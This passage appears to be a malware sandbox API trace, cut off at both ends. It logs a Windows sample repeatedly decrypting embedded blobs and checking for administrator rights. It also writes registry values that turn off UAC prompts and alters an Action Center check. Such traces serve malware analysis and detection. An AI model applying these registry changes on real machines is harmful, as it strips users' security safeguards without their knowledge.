(hKey=0x6250d0, dwParam=0x1, pbData=0x26e16f0, dwFlags=0x0) returned 1 [0088.006] CryptDestroyKey (hKey=0x5fd120) returned 1 [0088.006] CryptReleaseContext (hProv=0x652e90, dwFlags=0x0) returned 1 [0088.006] CryptReleaseContext (hProv=0x652e90, dwFlags=0x0) returned 1 [0088.006] CryptDecrypt (in: hKey=0x6250d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26e1760, pdwDataLen=0x1b30b910 | out: pbData=0x26e1760, pdwDataLen=0x1b30b910) returned 1 [0088.006] CryptDecrypt (in: hKey=0x6250d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26e1d10, pdwDataLen=0x1b30b900 | out: pbData=0x26e1d10, pdwDataLen=0x1b30b900) returned 0 [0088.597] CryptDestroyKey (hKey=0x6250d0) returned 1 [0088.597] CryptReleaseContext (hProv=0x652e90, dwFlags=0x0) returned 1 [0088.597] CryptReleaseContext (hProv=0x652e90, dwFlags=0x0) returned 1 [0088.613] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10200, lpName=0x0) returned 0x3b8 [0088.613] memcpy (in: _Dst=0x790000, _Src=0x26ef040, _Size=0x10200 | out: _Dst=0x790000) returned 0x790000 [0088.986] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3c0 [0088.986] memcpy (in: _Dst=0x7b0000, _Src=0x27052a0, _Size=0xe00 | out: _Dst=0x7b0000) returned 0x7b0000 [0089.158] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x3d4 [0089.158] memcpy (in: _Dst=0x7e0000, _Src=0x2708988, _Size=0x4200 | out: _Dst=0x7e0000) returned 0x7e0000 [0089.780] CryptAcquireContextW (in: phProv=0x1b30c378, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30c378*=0x652990) returned 1 [0089.781] CryptImportKey (in: hProv=0x652990, pbData=0x270f440*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30c300 | out: phKey=0x1b30c300*=0x6250d0) returned 1 [0089.781] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0089.781] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0089.781] CryptDuplicateKey (in: hKey=0x6250d0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30c2f0 | out: phKey=0x1b30c2f0*=0x5fd120) returned 1 [0089.781] CryptContextAddRef (hProv=0x652990, pdwReserved=0x0, dwFlags=0x0) returned 1 [0089.781] CryptSetKeyParam (hKey=0x5fd120, dwParam=0x4, pbData=0x270f560*=0x1, dwFlags=0x0) returned 1 [0089.781] CryptSetKeyParam (hKey=0x5fd120, dwParam=0x1, pbData=0x270f510, dwFlags=0x0) returned 1 [0089.781] CryptDestroyKey (hKey=0x6250d0) returned 1 [0089.781] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0089.781] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0089.782] CryptDecrypt (in: hKey=0x5fd120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x270f580, pdwDataLen=0x1b30c450 | out: pbData=0x270f580, pdwDataLen=0x1b30c450) returned 1 [0089.782] CryptDecrypt (in: hKey=0x5fd120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x270f888, pdwDataLen=0x1b30c440 | out: pbData=0x270f888, pdwDataLen=0x1b30c440) returned 0 [0090.532] CryptDestroyKey (hKey=0x5fd120) returned 1 [0090.532] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0090.532] CryptReleaseContext (hProv=0x652990, dwFlags=0x0) returned 1 [0090.550] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d778 | out: phkResult=0x1b30d778*=0x3d4) returned 0x0 [0090.551] RegQueryValueExW (in: hKey=0x3d4, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x4, lpData=0x0, lpcbData=0x1b30d880*=0x4) returned 0x0 [0090.552] RegSetValueExW (in: hKey=0x3d4, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x1b30d8e8*=0x0, cbData=0x4 | out: lpData=0x1b30d8e8*=0x0) returned 0x0 [0090.691] RegCloseKey (hKey=0x3d4) returned 0x0 [0090.691] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d778 | out: phkResult=0x1b30d778*=0x3d4) returned 0x0 [0090.691] RegQueryValueExW (in: hKey=0x3d4, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x4, lpData=0x0, lpcbData=0x1b30d880*=0x4) returned 0x0 [0090.691] RegSetValueExW (in: hKey=0x3d4, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x1b30d8e8*=0x0, cbData=0x4 | out: lpData=0x1b30d8e8*=0x0) returned 0x0 [0090.778] RegCloseKey (hKey=0x3d4) returned 0x0 [0090.779] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d778 | out: phkResult=0x1b30d778*=0x3d4) returned 0x0 [0090.779] RegQueryValueExW (in: hKey=0x3d4, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x4, lpData=0x0, lpcbData=0x1b30d880*=0x4) returned 0x0 [0090.779] RegSetValueExW (in: hKey=0x3d4, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x1b30d8e8*=0x0, cbData=0x4 | out: lpData=0x1b30d8e8*=0x0) returned 0x0 [0090.871] RegCloseKey (hKey=0x3d4) returned 0x0 [0091.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d778 | out: phkResult=0x1b30d778*=0x0) returned 0x2 [0091.662] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b30d7d0, lpdwDisposition=0x1b30d8b8 | out: phkResult=0x1b30d7d0*=0x3d4, lpdwDisposition=0x1b30d8b8*=0x1) returned 0x0 [0091.663] RegQueryValueExW (in: hKey=0x3d4, lpValueName="CheckSetting", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0091.674] RegSetValueExW (in: hKey=0x3d4, lpValueName="CheckSetting", Reserved=0x0, dwType=0x3, lpData=0x271c5f0*, cbData=0x24 | out: lpData=0x271c5f0*) returned 0x0 [0091.674] RegCloseKey (hKey=0x3d4) returned 0x0 [0091.676] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x3d4 [0091.677] memcpy (in: _Dst=0x7c0000, _Src=0x271dc00, _Size=0x5600 | out: _Dst=0x7c0000) returned 0x7c0000 [0092.383] GetCurrentProcess () returned 0xffffffffffffffff [0092.383] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30d848 | out: TokenHandle=0x1b30d848*=0x3dc) returned 1 [0092.477] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b30d8a8 | out: TokenInformation=0x0, ReturnLength=0x1b30d8a8) returned 0 [0092.477] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b412140 [0092.478] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x1b412140, TokenInformationLength=0x4, ReturnLength=0x1b30d8a8 | out: TokenInformation=0x1b412140, ReturnLength=0x1b30d8a8) returned 1 [0092.479] LocalFree (hMem=0x1b412140) returned 0x0 [0092.481] DuplicateTokenEx (in: hExistingToken=0x3dc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b30d908 | out: phNewToken=0x1b30d908*=0x3e0) returned 1 [0092.481] CheckTokenMembership (in: TokenHandle=0x3e0, SidToCheck=0x2726820*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b30d910 | out: IsMember=0x1b30d910) returned 1 [0092.481] CloseHandle (hObject=0x3e0) returned 1 [0092.481] CloseHandle (hObject=0x3dc) returned 1 [0092.483] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1600, lpName=0x0) returned 0x3dc [0092.484] memcpy (in: _Dst=0x7d0000, _Src=0x2727a38, _Size=0x1600 | out: _Dst=0x7d0000) returned 0x7d0000 [0092.918] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb400, lpName=0x0) returned 0x3dc [0092.918] memcpy (in: _Dst=0x7f0000, _Src=0x2730768, _Size=0xb400 | out: _Dst=0x7f0000) returned 0x7f0000 [0093.637] CryptAcquireContextW (in: phProv=0x1b30bab8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bab8*=0x652b90) returned 1 [0093.638] CryptImportKey (in: hProv=0x652b90, pbData=0x27470d0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30ba40 | out: phKey=0x1b30ba40*=0x5fd120) returned 1 [0093.638] CryptContextAddRef (hProv=0x652b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0093.638] CryptContextAddRef (hProv=0x652b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0093.638] CryptDuplicateKey (in: hKey=0x5fd120, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30ba30 | out: phKey=0x1b30ba30*=0x1b4339e0) returned 1 [0093.638] CryptContextAddRef (hProv=0x652b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0093.638] CryptSetKeyParam (hKey=0x1b4339e0, dwParam=0x4, pbData=0x27471f0*=0x1, dwFlags=0x0) returned 1 [0093.638] CryptSetKeyParam (hKey=0x1b4339e0, dwParam=0x1, pbData=0x27471a0, dwFlags=0x0) returned 1 [0093.638] CryptDestroyKey (hKey=0x5fd120) returned 1 [0093.638] CryptReleaseContext (hProv=0x652b90, dwFlags=0x0) returned 1 [0093.638] CryptReleaseContext (hProv=0x652b90, dwFlags=0x0) returned 1 [0093.638] CryptDecrypt (in: hKey=0x1b4339e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2747210, pdwDataLen=0x1b30bb90 | out: pbData=0x2747210, pdwDataLen=0x1b30bb90) returned 1 [0093.638] CryptDecrypt (in: hKey=0x1b4339e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2748238, pdwDataLen=0x1b30bb80 | out: pbData=0x2748238, pdwDataLen=0x1b30bb80) returned 0 [0094.242] CryptDestroyKey (hKey=0x1b4339e0) returned 1 [0094.242] CryptReleaseContext (hProv=0x652b90, dwFlags=0x0) returned 1 [0094.242] CryptReleaseContext (hProv=0x652b90, dwFlags=0x0) returned 1 [0094.340] GetACP () returned 0x4e4 [0096.526] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x404 [0096.526] memcpy (in: _Dst=0x820000, _Src=0x2761ca0, _Size=0x5600 | out: _Dst=0x820000) returned 0x820000 [0096.879] CryptAcquireContextW (in: phProv=0x1b30bc78, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bc78*=0x1b441eb0) returned 1 [0096.880] CryptImportKey (in: hProv=0x1b441eb0, pbData=0x276aa08*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30bc00 | out: phKey=0x1b30bc00*=0x1b433f20) returned 1 [0096.880] CryptContextAddRef (hProv=0x1b441eb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0096.880] CryptContextAddRef (hProv=0x1b441eb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0096.880] CryptDuplicateKey (in: hKey=0x1b433f20, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30bbf0 | out: phKey=0x1b30bbf0*=0x1b434150) returned 1 [0096.880] CryptContextAddRef (hProv=0x1b441eb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0096.880] CryptSetKeyParam (hKey=0x1b434150, dwParam=0x4, pbData=0x276ab28*=0x1, dwFlags=0x0) returned 1 [0096.880] CryptSetKeyParam (hKey=0x1b434150, dwParam=0x1, pbData=0x276aad8, dwFlags=0x0) returned 1 [0096.881] CryptDestroyKey (hKey=0x1b433f20) returned 1 [0096.881] CryptReleaseContext (hProv=0x1b441eb0, dwFlags=0x0) returned 1 [0096.881] CryptReleaseContext (hProv=0x1b441eb0, dwFlags=0x0) returned 1 [0096.881] CryptDecrypt (in: hKey=0x1b434150, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x276ab48, pdwDataLen=0x1b30bd50 | out: pbData=0x276ab48, pdwDataLen=0x1b30bd50) returned 1 [0096.881] CryptDecrypt (in: hKey=0x1b434150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x276ad78, pdwDataLen=0x1b30bd40 | out: pbData=0x276ad78, pdwDataLen=0x1b30bd40) returned 0 [0097.177] CryptDestroyKey (hKey=0x1b434150) returned 1 [0097.178] CryptReleaseContext (hProv=0x1b441eb0, dwFlags=0x0) returned 1 [0097.178] CryptReleaseContext (hProv=0x1b441eb0, dwFlags=0x0) returned 1 [0097.204] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a00, lpName=0x0) returned 0x404 [0097.205] memcpy (in: _Dst=0x830000, _Src=0x2778188, _Size=0x4a00 | out: _Dst=0x830000) returned 0x830000 [0097.970] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6400, lpName=0x0) returned 0x414 [0097.970] memcpy (in: _Dst=0x9e0000, _Src=0x278d8b8, _Size=0x6400 | out: _Dst=0x9e0000) returned 0x9e0000 [0098.383] CryptAcquireContextW (in: phProv=0x1b30b7b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30b7b8*=0x1b4424b0) returned 1 [0098.385] CryptImportKey (in: hProv=0x1b4424b0, pbData=0x279bfd8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30b740 | out: phKey=0x1b30b740*=0x1b434150) returned 1 [0098.385] CryptContextAddRef (hProv=0x1b4424b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0098.385] CryptContextAddRef (hProv=0x1b4424b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0098.385] CryptDuplicateKey (in: hKey=0x1b434150, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30b730 | out: phKey=0x1b30b730*=0x1b433970) returned 1 [0098.386] CryptContextAddRef (hProv=0x1b4424b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0098.386] CryptSetKeyParam (hKey=0x1b433970, dwParam=0x4, pbData=0x279c0f8*=0x1, dwFlags=0x0) returned 1 [0098.386] CryptSetKeyParam (hKey=0x1b433970, dwParam=0x1, pbData=0x279c0a8, dwFlags=0x0) returned 1 [0098.386] CryptDestroyKey (hKey=0x1b434150) returned 1 [0098.386] CryptReleaseContext (hProv=0x1b4424b0, dwFlags=0x0) returned 1 [0098.386] CryptReleaseContext (hProv=0x1b4424b0, dwFlags=0x0) returned 1 [0098.386] CryptDecrypt (in: hKey=0x1b433970, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x279c118, pdwDataLen=0x1b30b890 | out: pbData=0x279c118, pdwDataLen=0x1b30b890) returned 1 [0098.387] CryptDecrypt (in: hKey=0x1b433970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279c460, pdwDataLen=0x1b30b880 | out: pbData=0x279c460, pdwDataLen=0x1b30b880) returned 0 [0098.816] CryptDestroyKey (hKey=0x1b433970) returned 1 [0098.816] CryptReleaseContext (hProv=0x1b4424b0, dwFlags=0x0) returned 1 [0098.816] CryptReleaseContext (hProv=0x1b4424b0, dwFlags=0x0) returned 1 [0098.847] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6200, lpName=0x0) returned 0x434 [0098.847] memcpy (in: _Dst=0x9f0000, _Src=0x27acd78, _Size=0x6200 | out: _Dst=0x9f0000) returned 0x9f0000 [0099.348] CryptAcquireContextW (in: phProv=0x1b30bb88, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bb88*=0x1b443db0) returned 1 [0099.349] CryptImportKey (in: hProv=0x1b443db0, pbData=0x27bb608*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30bb10 | out: phKey=0x1b30bb10*=0x1b433970) returned 1 [0099.349] CryptContextAddRef (hProv=0x1b443db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0099.349] CryptContextAddRef (hProv=0x1b443db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0099.349] CryptDuplicateKey (in: hKey=0x1b433970, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30bb00 | out: phKey=0x1b30bb00*=0x1b433d60) returned 1 [0099.349] CryptContextAddRef (hProv=0x1b443db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0099.349] CryptSetKeyParam (hKey=0x1b433d60, dwParam=0x4, pbData=0x27bb728*=0x1, dwFlags=0x0) returned 1 [0099.349] CryptSetKeyParam (hKey=0x1b433d60, dwParam=0x1, pbData=0x27bb6d8, dwFlags=0x0) returned 1 [0099.349] CryptDestroyKey (hKey=0x1b433970) returned 1 [0099.349] CryptReleaseContext (hProv=0x1b443db0, dwFlags=0x0) returned 1 [0099.349] CryptReleaseContext (hProv=0x1b443db0, dwFlags=0x0) returned 1 [0099.349] CryptDecrypt (in: hKey=0x1b433d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27bb748, pdwDataLen=0x1b30bc60 | out: pbData=0x27bb748, pdwDataLen=0x1b30bc60) returned 1 [0099.349] CryptDecrypt (in: hKey=0x1b433d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27bb850, pdwDataLen=0x1b30bc50 | out: pbData=0x27bb850, pdwDataLen=0x1b30bc50) returned 0 [0099.564] CryptDestroyKey (hKey=0x1b433d60) returned 1 [0099.564] CryptReleaseContext (hProv=0x1b443db0, dwFlags=0x0) returned 1 [0099.564] CryptReleaseContext (hProv=0x1b443db0, dwFlags=0x0) returned 1 [0099.999] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c00, lpName=0x0) returned 0x464 [0099.999] memcpy (in: _Dst=0xa50000, _Src=0x27cc3b8, _Size=0x1c00 | out: _Dst=0xa50000) returned 0xa50000 [0100.371] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5200, lpName=0x0) returned 0x47c [0100.371] memcpy (in: _Dst=0xa00000, _Src=0x2677278, _Size=0x5200 | out: _Dst=0xa00000) returned 0xa00000 [0100.559] CryptAcquireContextW (in: phProv=0x1b30bc88, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bc88*=0x1b4421b0) returned 1 [0100.560] CryptImportKey (in: hProv=0x1b4421b0, pbData=0x267fb78*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30bc10 | out: phKey=0x1b30bc10*=0x1b433a50) returned 1 [0100.560] CryptContextAddRef (hProv=0x1b4421b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0100.560] CryptContextAddRef (hProv=0x1b4421b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0100.560] CryptDuplicateKey (in: hKey=0x1b433a50, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30bc00 | out: phKey=0x1b30bc00*=0x1b433970) returned 1 [0100.560] CryptContextAddRef (hProv=0x1b4421b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0100.560] CryptSetKeyParam (hKey=0x1b433970, dwParam=0x4, pbData=0x267fc98*=0x1, dwFlags=0x0) returned 1 [0100.560] CryptSetKeyParam (hKey=0x1b433970, dwParam=0x1, pbData=0x267fc48, dwFlags=0x0) returned 1 [0100.560] CryptDestroyKey (hKey=0x1b433a50) returned 1 [0100.561] CryptReleaseContext (hProv=0x1b4421b0, dwFlags=0x0) returned 1 [0100.561] CryptReleaseContext (hProv=0x1b4421b0, dwFlags=0x0) returned 1 [0100.561] CryptDecrypt (in: hKey=0x1b433970, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x267fcb8, pdwDataLen=0x1b30bd60 | out: pbData=0x267fcb8, pdwDataLen=0x1b30bd60) returned 1 [0100.561] CryptDecrypt (in: hKey=0x1b433970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x267fda8, pdwDataLen=0x1b30bd50 | out: pbData=0x267fda8, pdwDataLen=0x1b30bd50) returned 0 [0100.897] CryptDestroyKey (hKey=0x1b433970) returned 1 [0100.897] CryptReleaseContext (hProv=0x1b4421b0, dwFlags=0x0) returned 1 [0100.897] CryptReleaseContext (hProv=0x1b4421b0, dwFlags=0x0) returned 1 [0100.961] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x47c [0100.962] memcpy (in: _Dst=0xa10000, _Src=0x270ba28, _Size=0x4200 | out: _Dst=0xa10000) returned 0xa10000 [0101.133] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x47c [0101.134] memcpy (in: _Dst=0xa20000, _Src=0x2712cd8, _Size=0x8400 | out: _Dst=0xa20000) returned 0xa20000 [0101.285] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x484 [0101.286] memcpy (in: _Dst=0xa30000, _Src=0x271fb40, _Size=0x1000 | out: _Dst=0xa30000) returned 0xa30000 [0101.401] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x484 [0101.401] memcpy (in: _Dst=0xa60000, _Src=0x27231e8, _Size=0x1800 | out: _Dst=0xa60000) returned 0xa60000 [0101.918] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5800, lpName=0x0) returned 0x484 [0101.918] memcpy (in: _Dst=0xa70000, _Src=0x27a7b20, _Size=0x5800 | out: _Dst=0xa70000) returned 0xa70000 [0102.086] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x484 [0102.087] memcpy (in: _Dst=0xa80000, _Src=0x27b0068, _Size=0x1200 | out: _Dst=0xa80000) returned 0xa80000 [0102.127] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a00, lpName=0x0) returned 0x49c [0102.127] memcpy (in: _Dst=0xa90000, _Src=0x27b3eb0, _Size=0x5a00 | out: _Dst=0xa90000) returned 0xa90000 [0102.415] CryptAcquireContextW (in: phProv=0x1b30bbc8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b30bbc8*=0x1b4430b0) returned 1 [0102.416] CryptImportKey (in: hProv=0x1b4430b0, pbData=0x2801268*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b30bb50 | out: phKey=0x1b30bb50*=0x1b433ba0) returned 1 [0102.416] CryptContextAddRef (hProv=0x1b4430b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0102.416] CryptContextAddRef (hProv=0x1b4430b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0102.416] CryptDuplicateKey (in: hKey=0x1b433ba0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b30bb40 | out: phKey=0x1b30bb40*=0x1b433f20) returned 1 [0102.416] CryptContextAddRef (hProv=0x1b4430b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0102.416] CryptSetKeyParam (hKey=0x1b433f20, dwParam=0x4, pbData=0x2801388*=0x1, dwFlags=0x0) returned 1 [0102.416] CryptSetKeyParam (hKey=0x1b433f20, dwParam=0x1, pbData=0x2801338, dwFlags=0x0) returned 1 [0102.416] CryptDestroyKey (hKey=0x1b433ba0) returned 1 [0102.416] CryptReleaseContext (hProv=0x1b4430b0, dwFlags=0x0) returned 1 [0102.416] CryptReleaseContext (hProv=0x1b4430b0, dwFlags=0x0) returned 1 [0102.416] CryptDecrypt (in: hKey=0x1b433f20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x28013a8, pdwDataLen=0x1b30bca0 | out: pbData=0x28013a8, pdwDataLen=0x1b30bca0) returned 1 [0102.416] CryptDecrypt (in: hKey=0x1b433f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2801538, pdwDataLen=0x1b30bc90 | out: pbData=0x2801538, pdwDataLen=0x1b30bc90) returned 0 [0102.642] CryptDestroyKey (hKey=0x1b433f20) returned 1 [0102.642] CryptReleaseContext (hProv=0x1b4430b0, dwFlags=0x0) returned 1 [0102.642] CryptReleaseContext (hProv=0x1b4430b0, dwFlags=0x0) returned 1 [0102.747] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\a18ebf1ebd1216", nBufferLength=0x105, lpBuffer=0x1b30df70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\a18ebf1ebd1216", lpFilePart=0x0) returned 0x2c [0102.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30e3c0) returned 1 [0102.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\a18ebf1ebd1216" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\a18ebf1ebd1216"), fInfoLevelId=0x0, lpFileInformation=0x1b30e4a0 | out: lpFileInformation=0x1b30e4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0102.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30e380) returned 1 [0102.807] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xe28) returned 0x3ec [0102.807] GetExitCodeProcess (in: 